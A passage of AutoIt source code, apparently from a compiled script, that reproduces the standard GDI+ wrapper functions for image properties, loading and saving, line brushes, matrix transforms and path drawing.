$gdip_imageflags_colorspace_rgb], ["Partially scalable", $gdip_imageflags_partiallyscalable], ["Alpha values other than 0 (transparent) and 255 (opaque)", $gdip_imageflags_hastranslucent], ["Alpha values", $gdip_imageflags_hasalpha], ["Scalable", $gdip_imageflags_scalable]] Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetImageFlags", "handle", $himage, "long*", 0) If @error Then Return SetError(@error, @extended, $aflag) If $aresult[0] Then Return SetError(10, $aresult[0], $aflag) If $aresult[2] = $gdip_imageflags_none Then $aflag[1] = "No pixel data" Return SetError(12, $aresult[2], $aflag) EndIf $aflag[0] = $aresult[2] For $i = 0 To 12 If BitAND($aresult[2], $aimageflags[$i][1]) = $aimageflags[$i][1] Then If StringLen($aflag[1]) Then $aflag[1] &= "|" $aresult[2] -= $aimageflags[$i][1] $aflag[1] &= $aimageflags[$i][0] EndIf Next Return $aflag EndFunc Func _gdiplus_imagegetgraphicscontext($himage) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetImageGraphicsContext", "handle", $himage, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_imagegetheight($himage) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetImageHeight", "handle", $himage, "uint*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_imagegethorizontalresolution($himage) If ($himage = -1) OR (NOT $himage) Then Return SetError(11, 0, 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetImageHorizontalResolution", "handle", $himage, "float*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return Round($aresult[2]) EndFunc Func _gdiplus_imagegetpixelformat($himage) Local $aformat[2] = [0, ""] If ($himage = -1) OR (NOT $himage) Then Return SetError(11, 0, $aformat) Local $apixelformat[14][2] = [["1 Bpp Indexed", $gdip_pxf01indexed], ["4 Bpp Indexed", $gdip_pxf04indexed], ["8 Bpp Indexed", $gdip_pxf08indexed], ["16 Bpp Grayscale", $gdip_pxf16grayscale], ["16 Bpp RGB 555", $gdip_pxf16rgb555], ["16 Bpp RGB 565", $gdip_pxf16rgb565], ["16 Bpp ARGB 1555", $gdip_pxf16argb1555], ["24 Bpp RGB", $gdip_pxf24rgb], ["32 Bpp RGB", $gdip_pxf32rgb], ["32 Bpp ARGB", $gdip_pxf32argb], ["32 Bpp PARGB", $gdip_pxf32pargb], ["48 Bpp RGB", $gdip_pxf48rgb], ["64 Bpp ARGB", $gdip_pxf64argb], ["64 Bpp PARGB", $gdip_pxf64pargb]] Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetImagePixelFormat", "handle", $himage, "int*", 0) If @error Then Return SetError(@error, @extended, $aformat) If $aresult[0] Then Return SetError(10, $aresult[0], $aformat) For $i = 0 To 13 If $apixelformat[$i][1] = $aresult[2] Then $aformat[0] = $apixelformat[$i][1] $aformat[1] = $apixelformat[$i][0] Return $aformat EndIf Next Return SetError(12, 0, $aformat) EndFunc Func _gdiplus_imagegetrawformat($himage) Local $aguid[2] If ($himage = -1) OR (NOT $himage) Then Return SetError(11, 0, $aguid) Local $aimagetype[11][2] = [["UNDEFINED", $gdip_imageformat_undefined], ["MEMORYBMP", $gdip_imageformat_memorybmp], ["BMP", $gdip_imageformat_bmp], ["EMF", $gdip_imageformat_emf], ["WMF", $gdip_imageformat_wmf], ["JPEG", $gdip_imageformat_jpeg], ["PNG", $gdip_imageformat_png], ["GIF", $gdip_imageformat_gif], ["TIFF", $gdip_imageformat_tiff], ["EXIF", $gdip_imageformat_exif], ["ICON", $gdip_imageformat_icon]] Local $tstruct = DllStructCreate("byte[16]") Local $aresult1 = DllCall($__g_hgdipdll, "int", "GdipGetImageRawFormat", "handle", $himage, "struct*", $tstruct) If @error Then Return SetError(@error, @extended, $aguid) If $aresult1[0] Then Return SetError(10, $aresult1[0], $aguid) Local $sresult2 = _winapi_stringfromguid($aresult1[2]) If @error Then Return SetError(@error + 20, @extended, $aguid) If $sresult2 = "" Then Return SetError(12, 0, $aguid) For $i = 0 To 10 If $aimagetype[$i][1] == $sresult2 Then $aguid[0] = $aimagetype[$i][1] $aguid[1] = $aimagetype[$i][0] Return $aguid EndIf Next Return SetError(13, 0, $aguid) EndFunc Func _gdiplus_imagegetthumbnail($himage, $iwidth = 0, $iheight = 0, $bkeepratio = True, $hcallback = NULL , $hcallbackdata = NULL ) If $bkeepratio Then Local $aimgdim = _gdiplus_imagegetdimension($himage) If @error Then Return SetError(@error + 20, @extended, False) Local $f If $iwidth < 1 OR $iheight < 1 Then $iwidth = 0 $iheight = 0 Else If ($aimgdim[0] / $aimgdim[1]) > 1 Then $f = $aimgdim[0] / $iwidth Else $f = $aimgdim[1] / $iheight EndIf $iwidth = Int($aimgdim[0] / $f) $iheight = Int($aimgdim[1] / $f) EndIf EndIf Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetImageThumbnail", "handle", $himage, "uint", $iwidth, "uint", $iheight, "ptr*", 0, "ptr", $hcallback, "ptr", $hcallbackdata) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return $aresult[4] EndFunc Func _gdiplus_imagegettype($himage) If ($himage = -1) OR (NOT $himage) Then Return SetError(11, 0, -1) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetImageType", "handle", $himage, "int*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_imagegetverticalresolution($himage) If ($himage = -1) OR (NOT $himage) Then Return SetError(11, 0, 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetImageVerticalResolution", "handle", $himage, "float*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return Round($aresult[2]) EndFunc Func _gdiplus_imagegetwidth($himage) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetImageWidth", "handle", $himage, "uint*", -1) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_imageloadfromfile($sfilename) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipLoadImageFromFile", "wstr", $sfilename, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_imageloadfromstream($pstream) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipLoadImageFromStream", "ptr", $pstream, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_imagerotateflip($himage, $irotatefliptype) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipImageRotateFlip", "handle", $himage, "int", $irotatefliptype) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_imagesavetofile($himage, $sfilename) Local $sext = __gdiplus_extractfileext($sfilename) Local $sclsid = _gdiplus_encodersgetclsid($sext) If $sclsid = "" Then Return SetError(-1, 0, False) Local $bret = _gdiplus_imagesavetofileex($himage, $sfilename, $sclsid, 0) Return SetError(@error, @extended, $bret) EndFunc Func _gdiplus_imagesavetofileex($himage, $sfilename, $sencoder, $tparams = 0) Local $tguid = _winapi_guidfromstring($sencoder) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSaveImageToFile", "handle", $himage, "wstr", $sfilename, "struct*", $tguid, "struct*", $tparams) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_imagesavetostream($himage, $pstream, $tencoder, $tparams = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSaveImageToStream", "handle", $himage, "ptr", $pstream, "struct*", $tencoder, "struct*", $tparams) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_imagescale($himage, $iscalew, $iscaleh, $iinterpolationmode = $gdip_interpolationmode_highqualitybicubic) Local $iwidth = _gdiplus_imagegetwidth($himage) * $iscalew If @error Then Return SetError(1, 0, 0) Local $iheight = _gdiplus_imagegetheight($himage) * $iscaleh If @error Then Return SetError(2, 0, 0) Local $hbitmap = _gdiplus_bitmapcreatefromscan0($iwidth, $iheight) If @error Then Return SetError(3, 0, 0) Local $hbmpctxt = _gdiplus_imagegetgraphicscontext($hbitmap) If @error Then _gdiplus_bitmapdispose($hbitmap) Return SetError(4, 0, 0) EndIf _gdiplus_graphicssetinterpolationmode($hbmpctxt, $iinterpolationmode) If @error Then _gdiplus_graphicsdispose($hbmpctxt) _gdiplus_bitmapdispose($hbitmap) Return SetError(5, 0, 0) EndIf _gdiplus_graphicsdrawimagerect($hbmpctxt, $himage, 0, 0, $iwidth, $iheight) If @error Then _gdiplus_graphicsdispose($hbmpctxt) _gdiplus_bitmapdispose($hbitmap) Return SetError(6, 0, 0) EndIf _gdiplus_graphicsdispose($hbmpctxt) Return $hbitmap EndFunc Func _gdiplus_imageresize($himage, $inewwidth, $inewheight, $iinterpolationmode = $gdip_interpolationmode_highqualitybicubic) Local $hbitmap = _gdiplus_bitmapcreatefromscan0($inewwidth, $inewheight) If @error Then Return SetError(1, 0, 0) Local $hbmpctxt = _gdiplus_imagegetgraphicscontext($hbitmap) If @error Then _gdiplus_bitmapdispose($hbitmap) Return SetError(2, @extended, 0) EndIf _gdiplus_graphicssetinterpolationmode($hbmpctxt, $iinterpolationmode) If @error Then _gdiplus_graphicsdispose($hbmpctxt) _gdiplus_bitmapdispose($hbitmap) Return SetError(3, @extended, 0) EndIf _gdiplus_graphicsdrawimagerect($hbmpctxt, $himage, 0, 0, $inewwidth, $inewheight) If @error Then _gdiplus_graphicsdispose($hbmpctxt) _gdiplus_bitmapdispose($hbitmap) Return SetError(4, @extended, 0) EndIf _gdiplus_graphicsdispose($hbmpctxt) Return $hbitmap EndFunc Func _gdiplus_linebrushcreate($nx1, $ny1, $nx2, $ny2, $iargbclr1, $iargbclr2, $iwrapmode = 0) Local $tpointf1, $tpointf2, $aresult $tpointf1 = DllStructCreate("float;float") $tpointf2 = DllStructCreate("float;float") DllStructSetData($tpointf1, 1, $nx1) DllStructSetData($tpointf1, 2, $ny1) DllStructSetData($tpointf2, 1, $nx2) DllStructSetData($tpointf2, 2, $ny2) $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateLineBrush", "struct*", $tpointf1, "struct*", $tpointf2, "uint", $iargbclr1, "uint", $iargbclr2, "int", $iwrapmode, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[6] EndFunc Func _gdiplus_linebrushcreatefromrect($trectf, $iargbclr1, $iargbclr2, $igradientmode = 0, $iwrapmode = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateLineBrushFromRect", "struct*", $trectf, "uint", $iargbclr1, "uint", $iargbclr2, "int", $igradientmode, "int", $iwrapmode, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[6] EndFunc Func _gdiplus_linebrushcreatefromrectwithangle($trectf, $iargbclr1, $iargbclr2, $fangle, $bisanglescalable = True, $iwrapmode = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateLineBrushFromRectWithAngle", "struct*", $trectf, "uint", $iargbclr1, "uint", $iargbclr2, "float", $fangle, "int", $bisanglescalable, "int", $iwrapmode, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[7] EndFunc Func _gdiplus_linebrushgetcolors($hlinegradientbrush) Local $targbs, $aargbs[2], $aresult $targbs = DllStructCreate("uint;uint") $aresult = DllCall($__g_hgdipdll, "uint", "GdipGetLineColors", "handle", $hlinegradientbrush, "struct*", $targbs) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) $aargbs[0] = DllStructGetData($targbs, 1) $aargbs[1] = DllStructGetData($targbs, 2) Return $aargbs EndFunc Func _gdiplus_linebrushgetrect($hlinegradientbrush) Local $trectf = DllStructCreate($taggdiprectf) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetLineRect", "handle", $hlinegradientbrush, "struct*", $trectf) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Local $arectf[4] For $ii = 1 To 4 $arectf[$ii - 1] = DllStructGetData($trectf, $ii) Next Return $arectf EndFunc Func _gdiplus_linebrushmultiplytransform($hlinegradientbrush, $hmatrix, $iorder = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipMultiplyLineTransform", "handle", $hlinegradientbrush, "handle", $hmatrix, "int", $iorder) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_linebrushresettransform($hlinegradientbrush) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipResetLineTransform", "handle", $hlinegradientbrush) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_linebrushsetblend($hlinegradientbrush, $ablends) Local $ii, $icount, $tfactors, $tpositions, $aresult $icount = $ablends[0][0] $tfactors = DllStructCreate("float[" & $icount & "]") $tpositions = DllStructCreate("float[" & $icount & "]") For $ii = 1 To $icount DllStructSetData($tfactors, 1, $ablends[$ii][0], $ii) DllStructSetData($tpositions, 1, $ablends[$ii][1], $ii) Next $aresult = DllCall($__g_hgdipdll, "int", "GdipSetLineBlend", "handle", $hlinegradientbrush, "struct*", $tfactors, "struct*", $tpositions, "int", $icount) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_linebrushsetcolors($hlinegradientbrush, $iargbstart, $iargbend) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetLineColors", "handle", $hlinegradientbrush, "uint", $iargbstart, "uint", $iargbend) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_linebrushsetgammacorrection($hlinegradientbrush, $busegammacorrection = True) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetLineGammaCorrection", "handle", $hlinegradientbrush, "int", $busegammacorrection) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_linebrushsetlinearblend($hlinegradientbrush, $ffocus, $fscale = 1) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetLineLinearBlend", "handle", $hlinegradientbrush, "float", $ffocus, "float", $fscale) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_linebrushsetpresetblend($hlinegradientbrush, $ainterpolations) Local $ii, $icount, $tcolors, $tpositions, $aresult $icount = $ainterpolations[0][0] $tcolors = DllStructCreate("uint[" & $icount & "]") $tpositions = DllStructCreate("float[" & $icount & "]") For $ii = 1 To $icount DllStructSetData($tcolors, 1, $ainterpolations[$ii][0], $ii) DllStructSetData($tpositions, 1, $ainterpolations[$ii][1], $ii) Next $aresult = DllCall($__g_hgdipdll, "int", "GdipSetLinePresetBlend", "handle", $hlinegradientbrush, "struct*", $tcolors, "struct*", $tpositions, "int", $icount) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_linebrushsetsigmablend($hlinegradientbrush, $ffocus, $fscale = 1) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetLineSigmaBlend", "handle", $hlinegradientbrush, "float", $ffocus, "float", $fscale) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_linebrushsettransform($hlinegradientbrush, $hmatrix) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetLineTransform", "handle", $hlinegradientbrush, "handle", $hmatrix) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_matrixcreate() Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateMatrix", "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[1] EndFunc Func _gdiplus_matrixclone($hmatrix) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCloneMatrix", "handle", $hmatrix, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_matrixdispose($hmatrix) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDeleteMatrix", "handle", $hmatrix) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_matrixgetelements($hmatrix) Local $telements = DllStructCreate("float[6]") Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetMatrixElements", "handle", $hmatrix, "struct*", $telements) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Local $aelements[6] For $ii = 1 To 6 $aelements[$ii - 1] = DllStructGetData($telements, 1, $ii) Next Return $aelements EndFunc Func _gdiplus_matrixinvert($hmatrix) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipInvertMatrix", "handle", $hmatrix) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_matrixmultiply($hmatrix1, $hmatrix2, $iorder = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipMultiplyMatrix", "handle", $hmatrix1, "handle", $hmatrix2, "int", $iorder) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_matrixrotate($hmatrix, $fangle, $bappend = False) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipRotateMatrix", "handle", $hmatrix, "float", $fangle, "int", $bappend) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_matrixscale($hmatrix, $fscalex, $fscaley, $border = False) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipScaleMatrix", "handle", $hmatrix, "float", $fscalex, "float", $fscaley, "int", $border) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_matrixsetelements($hmatrix, $nm11 = 1, $nm12 = 0, $nm21 = 0, $nm22 = 1, $ndx = 0, $ndy = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetMatrixElements", "handle", $hmatrix, "float", $nm11, "float", $nm12, "float", $nm21, "float", $nm22, "float", $ndx, "float", $ndy) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_matrixshear($hmatrix, $fshearx, $fsheary, $iorder = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipShearMatrix", "handle", $hmatrix, "float", $fshearx, "float", $fsheary, "int", $iorder) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_matrixtransformpoints($hmatrix, ByRef $apoints) Local $icount = $apoints[0][0] Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], ($ii - 1) * 2 + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], ($ii - 1) * 2 + 2) Next Local $aresult = DllCall($__g_hgdipdll, "int", "GdipTransformMatrixPoints", "handle", $hmatrix, "struct*", $tpoints, "int", $icount) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) For $ii = 1 To $icount $apoints[$ii][0] = DllStructGetData($tpoints, 1, ($ii - 1) * 2 + 1) $apoints[$ii][1] = DllStructGetData($tpoints, 1, ($ii - 1) * 2 + 2) Next Return True EndFunc Func _gdiplus_matrixtranslate($hmatrix, $foffsetx, $foffsety, $bappend = False) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipTranslateMatrix", "handle", $hmatrix, "float", $foffsetx, "float", $foffsety, "int", $bappend) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_paramadd(ByRef $tparams, $sguid, $inbofvalues, $itype, $pvalues) Local $icount = DllStructGetData($tparams, "Count") Local $pguid = DllStructGetPtr($tparams, "GUID") + ($icount * _gdiplus_paramsize()) Local $tparam = DllStructCreate($taggdipencoderparam, $pguid) _winapi_guidfromstringex($sguid, $pguid) DllStructSetData($tparam, "Type", $itype) DllStructSetData($tparam, "NumberOfValues", $inbofvalues) DllStructSetData($tparam, "Values", $pvalues) DllStructSetData($tparams, "Count", $icount + 1) EndFunc Func _gdiplus_paraminit($icount) Local $sstruct = $taggdipencoderparams For $i = 2 To $icount $sstruct &= ";struct;byte[16];ulong;ulong;ptr;endstruct" Next Return DllStructCreate($sstruct) EndFunc Func _gdiplus_paramsize() Local $tparam = DllStructCreate($taggdipencoderparam) Return DllStructGetSize($tparam) EndFunc Func _gdiplus_pathaddarc($hpath, $nx, $ny, $nwidth, $nheight, $fstartangle, $fsweepangle) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipAddPathArc", "handle", $hpath, "float", $nx, "float", $ny, "float", $nwidth, "float", $nheight, "float", $fstartangle, "float", $fsweepangle) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathaddbezier($hpath, $nx1, $ny1, $nx2, $ny2, $nx3, $ny3, $nx4, $ny4) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipAddPathBezier", "handle", $hpath, "float", $nx1, "float", $ny1, "float", $nx2, "float", $ny2, "float", $nx3, "float", $ny3, "float", $nx4, "float", $ny4) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathaddclosedcurve($hpath, $apoints) Local $icount = $apoints[0][0] Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2) Next Local $aresult = DllCall($__g_hgdipdll, "int", "GdipAddPathClosedCurve", "handle", $hpath, "struct*", $tpoints, "int", $icount) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathaddclosedcurve2($hpath, $apoints, $ntension = 0.5) Local $icount = $apoints[0][0] Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2) Next Local $aresult = DllCall($__g_hgdipdll, "int", "GdipAddPathClosedCurve2", "handle", $hpath, "struct*", $tpoints, "int", $icount, "float", $ntension) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathaddcurve($hpath, $apoints) Local $icount = $apoints[0][0] Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2) Next Local $aresult = DllCall($__g_hgdipdll, "int", "GdipAddPathCurve", "handle", $hpath, "struct*", $tpoints, "int", $icount) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathaddcurve2($hpath, $apoints, $ntension = 0.5) Local $icount = $apoints[0][0] Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2) Next Local $aresult = DllCall($__g_hgdipdll, "int", "GdipAddPathCurve2", "handle", $hpath, "struct*", $tpoints, "int", $icount, "float", $ntension) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathaddcurve3($hpath, $apoints, $ioffset, $inumofsegments, $ntension = 0.5) Local $icount = $apoints[0][0] Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2) Next Local $aresult = DllCall($__g_hgdipdll, "int", "GdipAddPathCurve3", "handle", $hpath, "struct*", $tpoints, "int", $icount, "int", $ioffset, "int", $inumofsegments, "float", $ntension) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathaddellipse($hpath, $nx, $ny, $nwidth, $nheight) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipAddPathEllipse", "handle", $hpath, "float", $nx, "float", $ny, "float", $nwidth, "float", $nheight) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathaddline($hpath, $nx1, $ny1, $nx2, $ny2) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipAddPathLine", "handle", $hpath, "float", $nx1, "float", $ny1, "float", $nx2, "float", $ny2) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathaddline2($hpath, $apoints) Local $icount = $apoints[0][0] Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2) Next Local $aresult = DllCall($__g_hgdipdll, "int", "GdipAddPathLine2", "handle", $hpath, "struct*", $tpoints, "int", $icount) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathaddpath($hpath1, $hpath2, $bconnect = True) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipAddPathPath", "handle", $hpath1, "handle", $hpath2, "int", $bconnect) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathaddpie($hpath, $nx, $ny, $nwidth, $nheight, $fstartangle, $fsweepangle) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipAddPathPie", "handle", $hpath, "float", $nx, "float", $ny, "float", $nwidth, "float", $nheight, "float", $fstartangle, "float", $fsweepangle) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathaddpolygon($hpath, $apoints) Local $icount = $apoints[0][0] Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2) Next Local $aresult = DllCall($__g_hgdipdll, "int", "GdipAddPathPolygon", "handle", $hpath, "struct*", $tpoints, "int", $icount) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathaddrectangle($hpath, $nx, $ny, $nwidth, $nheight) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipAddPathRectangle", "handle", $hpath, "float", $nx, "float", $ny, "float", $nwidth, "float", $nheight) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathaddstring($hpath, $sstring, $tlayout, $hfamily, $istyle = 0, $fsize = 8.5, $hformat = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipAddPathString", "handle", $hpath, "wstr", $sstring, "int", -1, "handle", $hfamily, "int", $istyle, "float", $fsize, "struct*", $tlayout, "handle", $hformat) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathbrushcreate($apoints, $iwrapmode = 0) Local $icount = $apoints[0][0] Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2) Next Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreatePathGradient", "struct*", $tpoints, "int", $icount, "int", $iwrapmode, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[4] EndFunc Func _gdiplus_pathbrushcreatefrompath($hpath) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreatePathGradientFromPath", "handle", $hpath, "handle*", 0) If @error Then Return SetError(@error, 